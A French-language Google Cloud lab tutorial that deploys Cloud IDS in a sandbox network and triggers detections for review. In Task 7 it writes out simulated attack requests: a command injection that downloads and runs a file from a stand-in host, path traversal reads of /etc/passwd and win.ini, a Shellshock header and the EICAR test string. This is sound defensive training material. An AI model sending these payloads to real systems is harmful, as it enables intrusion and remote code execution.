Présentation
Dans cet atelier, vous allez déployer Cloud Intrusion Detection System (Cloud IDS), un service avancé de détection des intrusions à la pointe de la technologie. Cette solution permet de détecter les menaces que représentent les intrusions, les logiciels malveillants, les logiciels espions ainsi que les attaques de commande et de contrôle. Vous simulerez des attaques multiples, puis vous afficherez les détails des menaces dans la console Google Cloud.
Objectifs
Dans cet atelier, vous allez apprendre à effectuer les tâches suivantes :
- Créer un environnement de mise en réseau Google Cloud, comme illustré dans le schéma précédent
- Créer un point de terminaison Cloud IDS
- Créer deux machines virtuelles à l'aide de commandes de gcloud CLI
- Créer une règle de mise en miroir de paquets vers Cloud IDS
- Simuler le trafic d'une attaque à partir d'une machine virtuelle
- Afficher les détails des menaces dans la console Cloud et dans Cloud Logging
Préparation
Pour chaque atelier, nous vous attribuons un nouveau projet Google Cloud et un nouvel ensemble de ressources pour une durée déterminée, sans frais.
-
Cliquez sur le bouton Démarrer l'atelier. Si l'atelier est payant, un pop-up s'affiche pour vous permettre de sélectionner un mode de paiement.
Sur la gauche, vous trouverez le panneau Détails concernant l'atelier, qui contient les éléments suivants :
- Le bouton Ouvrir la console Google Cloud
- Le temps restant
- Les identifiants temporaires que vous devez utiliser pour cet atelier
- Des informations complémentaires vous permettant d'effectuer l'atelier
-
Cliquez sur Ouvrir la console Google Cloud (ou effectuez un clic droit et sélectionnez Ouvrir le lien dans la fenêtre de navigation privée si vous utilisez le navigateur Chrome).
L'atelier lance les ressources, puis ouvre la page Se connecter dans un nouvel onglet.
Conseil : Réorganisez les onglets dans des fenêtres distinctes, placées côte à côte.
Remarque : Si la boîte de dialogue Sélectionner un compte s'affiche, cliquez sur Utiliser un autre compte.
-
Si nécessaire, copiez le nom d'utilisateur ci-dessous et collez-le dans la boîte de dialogue Se connecter.
{{{user_0.username | "Username"}}}
Vous trouverez également le nom d'utilisateur dans le panneau Détails concernant l'atelier.
-
Cliquez sur Suivant.
-
Copiez le mot de passe ci-dessous et collez-le dans la boîte de dialogue Bienvenue.
{{{user_0.password | "Password"}}}
Vous trouverez également le mot de passe dans le panneau Détails concernant l'atelier.
-
Cliquez sur Suivant.
Important : Vous devez utiliser les identifiants fournis pour l'atelier. Ne saisissez pas ceux de votre compte Google Cloud.
Remarque : Si vous utilisez votre propre compte Google Cloud pour cet atelier, des frais supplémentaires peuvent vous être facturés.
-
Accédez aux pages suivantes :
- Acceptez les conditions d'utilisation.
- N'ajoutez pas d'options de récupération ni d'authentification à deux facteurs (ce compte est temporaire).
- Ne vous inscrivez pas à des essais sans frais.
Après quelques instants, la console Cloud s'ouvre dans cet onglet.
Remarque : Pour afficher un menu contenant la liste des produits et services Google Cloud, cliquez sur le menu de navigation en haut à gauche, ou saisissez le nom du service ou du produit dans le champ Recherche.
Activer Google Cloud Shell
Google Cloud Shell est une machine virtuelle qui contient de nombreux outils pour les développeurs. Elle comprend un répertoire d'accueil persistant de 5 Go et s'exécute sur Google Cloud.
Google Cloud Shell vous permet d'accéder à vos ressources Google Cloud grâce à une ligne de commande.
-
Dans la barre d'outils située en haut à droite dans la console Cloud, cliquez sur le bouton "Ouvrir Cloud Shell".

-
Cliquez sur Continuer.
Le provisionnement et la connexion à l'environnement prennent quelques instants. Une fois connecté, vous êtes en principe authentifié et le projet est défini sur votre ID_PROJET. Par exemple :

gcloud est l'outil de ligne de commande pour Google Cloud. Il est préinstallé sur Cloud Shell et permet la complétion par tabulation.
- Vous pouvez lister les noms des comptes actifs à l'aide de cette commande :
gcloud auth list
Résultat :
Credentialed accounts:
- @.com (active)
Exemple de résultat :
Credentialed accounts:
- google1623327_student@qwiklabs.net
- Vous pouvez lister les ID de projet à l'aide de cette commande :
gcloud config list project
Résultat :
[core]
project =
Exemple de résultat :
[core]
project = qwiklabs-gcp-44776a13dea667a6
Remarque : Pour consulter la documentation complète sur gcloud, accédez au guide de présentation de la gcloud CLI.
Cet atelier sera entièrement réalisé à l'aide de commandes de gcloud
CLI dans Cloud Shell.
Tâche 1 : Activer les API
Dans cette tâche, vous allez configurer la variable d'ID du projet, puis activer les API requises pour l'atelier.
- Pour définir la variable d'environnement Project_ID, exécutez la commande suivante dans Cloud Shell :
export PROJECT_ID=$(gcloud config get-value project | sed '2d')
- Activez l'API Service Networking :
gcloud services enable servicenetworking.googleapis.com \
--project=$PROJECT_ID
Si vous êtes invité à autoriser la commande, cliquez sur Authorize (Autoriser).
- Activez l'API Cloud IDS :
gcloud services enable ids.googleapis.com \
--project=$PROJECT_ID
- Activez l'API Cloud Logging :
gcloud services enable logging.googleapis.com \
--project=$PROJECT_ID
Cliquez sur Vérifier ma progression pour valider l'objectif.
Activer les API
Tâche 2 : Créer l'empreinte réseau Google Cloud
Dans cette tâche, vous allez créer un réseau VPC Google Cloud et configurer l'accès aux services privés.
L'accès aux services privés est une connexion privée entre votre réseau VPC et un réseau appartenant à Google ou à un tiers. Google ou le tiers sont des entités proposant des services. Ils sont également appelés "producteurs de services".
La connexion privée permet aux instances de machines virtuelles (VM) faisant partie de votre réseau VPC et aux services auxquels vous accédez de communiquer exclusivement par le biais d'adresses IP internes.
- Pour créer un VPC, exécutez la commande suivante dans Cloud Shell :
gcloud compute networks create cloud-ids \
--subnet-mode=custom
Si vous êtes invité à autoriser la commande, cliquez sur Authorize (Autoriser).
- Ajoutez un sous-réseau au VPC pour le trafic mis en miroir dans la région us-east1 :
gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1
- Configurez l'accès aux services privés :
gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids
- Créez une connexion privée :
gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID
Cliquez sur Vérifier ma progression pour valider l'objectif.
Créer un VPC
Tâche 3 : Créer un point de terminaison Cloud IDS
Dans cette tâche, vous allez créer un point de terminaison Cloud IDS situé dans la zone us-east1 et pour lequel la gravité est définie sur informational (informationnelle).
Cloud IDS utilise une ressource appelée "point de terminaison IDS" : il s'agit d'une ressource zonale capable d'inspecter le trafic provenant de n'importe quelle zone dans sa région. Chaque point de terminaison IDS reçoit le trafic mis en miroir et réalise une analyse de détection des menaces.
Remarque : La création d'un point de terminaison IDS prend environ 20 minutes.
- Pour créer un point de terminaison Cloud IDS, exécutez la commande suivante dans Cloud Shell :
gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async
- Vérifiez que le point de terminaison Cloud IDS a bien été lancé :
gcloud ids endpoints list --project=$PROJECT_ID
Si le message Would you like to enable and retry (Voulez-vous activer et réessayer) s'affiche, appuyez sur Y.
Le résultat devrait ressembler à ceci :
ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:
Cliquez sur Vérifier ma progression pour valider l'objectif.
Créer un point de terminaison Cloud IDS
Tâche 4 : Créer des règles de pare-feu et configurer Cloud NAT
Dans cette tâche, vous allez créer deux règles de pare-feu : allow-http-icmp et allow-iap-proxy.
Vous devez définir la règle allow-http-icmp pour autoriser les connexions standards sur le port HTTP (TCP 80), ainsi que les connexions utilisant le protocole ICMP à destination de la VM serveur et en provenance de toutes les sources du réseau cloud-ids.
Pour autoriser les connexions SSH avec les VM de la plage d'adresses IP associée à Identity-Aware Proxy, vous devez définir la règle allow-iap-proxy.
Vous allez également configurer Cloud Router, puis Cloud NAT. Pour pouvoir utiliser Cloud NAT, vous devez obligatoirement configurer un routeur Cloud Router dans la même région. Pour fournir un accès Internet aux VM sans adresse IP publique, vous devez créer un service Cloud NAT dans la même région. Les VM seront créées sans adresse IP publique afin d'être inaccessibles depuis Internet. Toutefois, elles auront besoin d'un accès sortant à Internet pour télécharger des mises à jour et des fichiers.
- Pour créer la règle allow-http-icmp, exécutez la commande suivante dans Cloud Shell :
gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server
- Créez la règle allow-iap-proxy :
gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20
Cliquez sur Vérifier ma progression pour valider l'objectif.
Ajouter les règles de pare-feu au VPC
- Pour créer un routeur Cloud Router, exécutez la commande suivante :
gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids
- Pour configurer un service Cloud NAT, exécutez la commande suivante :
gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges
Cliquez sur Vérifier ma progression pour valider l'objectif.
Créer un routeur Cloud Router
Tâche 5 : Créer deux VM
Dans cette tâche, vous allez créer deux VM. La première VM sera votre serveur Web, qui sera mis en miroir vers Cloud IDS. La seconde VM sera la source du trafic d'attaque.
Vous allez établir une connexion SSH avec votre serveur via Identity-Aware Proxy (IAM), vérifier l'état du serveur hébergeant votre service Web, créer sur le serveur Web un fichier inoffensif représentant un logiciel malveillant, puis ajouter du contenu à ce fichier.
- Pour créer une VM qui sera utilisée comme un serveur mis en miroir vers Cloud IDS, exécutez la commande suivante dans Cloud Shell :
gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-11-bullseye-v20240709 \
--image-project=debian-cloud \
--boot-disk-size=10GB
Cette commande crée un serveur Debian dans la zone us-east1 et installe un service Web simple.
- Créez une VM destinée à jouer le rôle d'un client qui envoie du trafic d'attaque :
gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-11-bullseye-v20240709 \
--image-project=debian-cloud \
--boot-disk-size=10GB
Cette commande prépare un serveur Debian dans la zone us-east1 pour que vous l'utilisiez comme client.
Cliquez sur Vérifier ma progression pour valider l'objectif.
Créer une VM
Préparer le serveur
Dans cette procédure, vous allez valider votre serveur, puis créer une charge utile inoffensive représentant le logiciel malveillant pour votre client.
- Pour établir une connexion SSH avec votre serveur via IAP, exécutez la commande suivante :
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Cette commande vous invitera à effectuer une série d'étapes pour créer une clé SSH ainsi que les répertoires requis.
-
Pour accepter l'invite de création des répertoires, appuyez sur Y.
-
Lorsque vous êtes invité à saisir une phrase secrète, appuyez deux fois sur ENTRÉE pour utiliser une phrase secrète vide.
Vous vous trouvez maintenant dans le shell de votre VM serveur.
Confirmer que le service Web est en cours d'exécution
Dans cette procédure, vous allez vérifier l'état du serveur hébergeant votre service Web. Vous allez créer sur le serveur Web un fichier inoffensif représentant un logiciel malveillant, puis ajouter du contenu à ce fichier.
- Pour vérifier l'état de votre service Web, exécutez la commande Linux suivante :
sudo systemctl status nginx
Le résultat devrait ressembler à ceci :
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24 min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
- Passez au répertoire du service Web :
cd /var/www/html/
- Créez sur le serveur Web un fichier inoffensif représentant un logiciel malveillant. Exécutez la commande Linux suivante pour créer un fichier texte :
sudo touch eicar.file
- Ajoutez le contenu suivant au fichier que vous venez de créer :
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
- Quittez le shell de la VM serveur et revenez à Cloud Shell :
exit
Tâche 6 : Créer une règle de mise en miroir de paquets vers Cloud IDS
Dans cette tâche, vous allez créer une règle de mise en miroir de paquets vers Cloud IDS. Cette règle détermine quel trafic est mis en miroir vers Cloud IDS. Vous associerez ensuite cette règle au point de terminaison Cloud IDS que vous venez de créer.
Comme nous l'avons déjà mentionné, la création d'un point de terminaison Cloud IDS prend un certain temps. Le point de terminaison doit se trouver dans un état actif/prêt pour que vous puissiez poursuivre cet atelier.
1. Pour vérifier que votre point de terminaison Cloud IDS est actif, accédez à Cloud Shell et exécutez la commande suivante pour afficher l'état actuel du point de terminaison :
gcloud ids endpoints list --project=$PROJECT_ID | grep STATE
Le résultat devrait ressembler à ceci :
STATE: READY
Continuez à exécuter cette commande toutes les deux ou trois minutes jusqu'à ce que l'état affiché soit READY (PRÊT).
- Identifiez la règle de transfert du point de terminaison Cloud IDS et confirmez qu'il est passé à l'état READY (PRÊT) :
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE
Le résultat devrait ressembler à ceci :
https://www.googleapis.com/compute/v1/projects/md975a7fa0a53145dp-tp/regions/us-east1/forwardingRules/ids-fr-cloud--xkkerutlagop6opm
- Créez et associez la règle de mise en miroir de paquets :
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1
Cliquez sur Vérifier ma progression pour valider l'objectif.
Créer et associer la règle de mise en miroir de paquets
- Vérifiez que la règle de mise en miroir des paquets a bien été créée :
gcloud compute packet-mirrorings list
Cette commande gcloud liste les règles de mise en miroir de paquets et indique si elles sont activées ou non.
Le résultat devrait ressembler à ceci :
NAME: cloud-ids-packet-mirroring
REGION: us-east1
NETWORK: cloud-ids
ENABLE: TRUE
Tâche 7 : Simuler le trafic d'une attaque
Dans cette tâche, vous allez établir une connexion SSH avec la VM à l'origine de l'attaque et simuler le trafic de l'attaque depuis une VM vers votre serveur. Pour ce faire, vous allez exécuter une série de commandes curl
dont la gravité va du niveau faible au niveau critique.
- Pour établir une connexion SSH avec votre VM à l'origine de l'attaque via IAP, exécutez la commande suivante dans Cloud Shell :
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Remarque : Vous êtes à présent dans le shell de la VM à l'origine de l'attaque, et non dans votre machine Cloud Shell.
- Exécutez les requêtes
curl
suivantes dans l'ordre, afin de simuler des alertes de gravité de niveau faible, moyen, élevé et critique sur l'IDS :
Faible gravité :
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
Gravité moyenne :
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
Gravité élevée :
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
Gravité critique :
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
- Quittez le shell de la VM à l'origine de l'attaque et revenez dans Cloud Shell :
exit
Tâche 8 : Examiner les menaces détectées par Cloud IDS
Dans cette tâche, vous allez examiner dans la console Cloud les différents types de trafic d'attaque capturés par le service Cloud IDS. Les profils de trafic d'attaque capturés fournissent les détails de chaque menace.
-
Dans la console Google Cloud, accédez au Menu de navigation (
) et cliquez sur Sécurité du réseau > Cloud IDS.
-
Cliquez sur l'onglet Menaces.
Le service Cloud IDS a capturé différents profils de trafic d'attaque et fournit les détails de chaque menace. Si la page n'affiche aucune menace, vous devrez peut-être cliquer sur Actualiser. Vous allez maintenant approfondir l'analyse et examiner les détails des menaces.
- Recherchez la menace Bash Remote Code Execution Vulnerability (Faille d'exécution de code à distance dans bash), cliquez sur Plus (
), puis sélectionnez Afficher les détails de la menace.
Remarque : Vous avez sans doute constaté que plusieurs menaces génèrent le même nom, par exemple "Bash Remote Code Execution Vulnerability". Ce comportement est normal. Si vous examinez attentivement le contenu, vous observerez que les ID de session des menaces sont différents. Étant donné que les deux VM créées se trouvent dans le même sous-réseau, nous voyons les paquets mis en miroir aussi bien pour le client que le serveur. Les paquets sortants émis par le client sont mis en miroir vers IDS, tout comme les paquets entrants à destination du serveur.
-
Examinez maintenant les détails de cet incident dans Cloud Logging. Pour revenir à la page Menaces, cliquez sur la flèche vers la gauche.
-
Cliquez sur l'onglet Menaces.
-
Recherchez la menace Bash Remote Code Execution Vulnerability (Faille d'exécution de code à distance dans bash), cliquez sur Plus, puis sélectionnez Afficher les journaux de menaces.
Un nouvel onglet Cloud Logging s'ouvre et affiche les mêmes détails. Cela vous permet d'envoyer les journaux vers Cloud Storage, Chronicle ou n'importe quelle solution SIEM/SOAR. Vous pouvez également créer des workflows personnalisés afin de prendre des mesures correctives en fonction d'alertes, par exemple créer une fonction Cloud qui se déclenche en cas d'alerte, créer ou mettre à jour une règle de pare-feu pour bloquer l'adresse IP, ou bien créer ou mettre à jour une stratégie Google Cloud Armor.
Cliquez sur Vérifier ma progression pour valider l'objectif.
Premiers pas avec Cloud IDS
Félicitations !
Dans cet atelier, vous avez :
-
créé un VPC et déployé un point de terminaison Cloud IDS ;
-
déployé deux VM, créé une règle de mise en miroir de paquets, puis envoyé le trafic d'attaque ;
-
consulté les détails des menaces dans la console Cloud et les journaux des menaces dans Cloud Logging pour vérifier que Cloud IDS avait capturé les menaces.
Autres ressources
Essayez ces ateliers pour acquérir plus d'expérience sur Cloud IDS :
Terminer l'atelier
Une fois l'atelier terminé, cliquez sur Terminer l'atelier. Google Cloud Skills Boost supprime les ressources que vous avez utilisées, puis efface le compte.
Si vous le souhaitez, vous pouvez noter l'atelier. Sélectionnez un nombre d'étoiles, saisissez un commentaire, puis cliquez sur Envoyer.
Le nombre d'étoiles correspond à votre degré de satisfaction :
- 1 étoile = très insatisfait(e)
- 2 étoiles = insatisfait(e)
- 3 étoiles = ni insatisfait(e), ni satisfait(e)
- 4 étoiles = satisfait(e)
- 5 étoiles = très satisfait(e)
Si vous ne souhaitez pas donner votre avis, vous pouvez fermer la boîte de dialogue.
Pour soumettre des commentaires, suggestions ou corrections, veuillez accéder à l'onglet Assistance.
Copyright 2020 Google LLC Tous droits réservés. Google et le logo Google sont des marques de Google LLC. Tous les autres noms d'entreprises et de produits peuvent être des marques des entreprises auxquelles ils sont associés.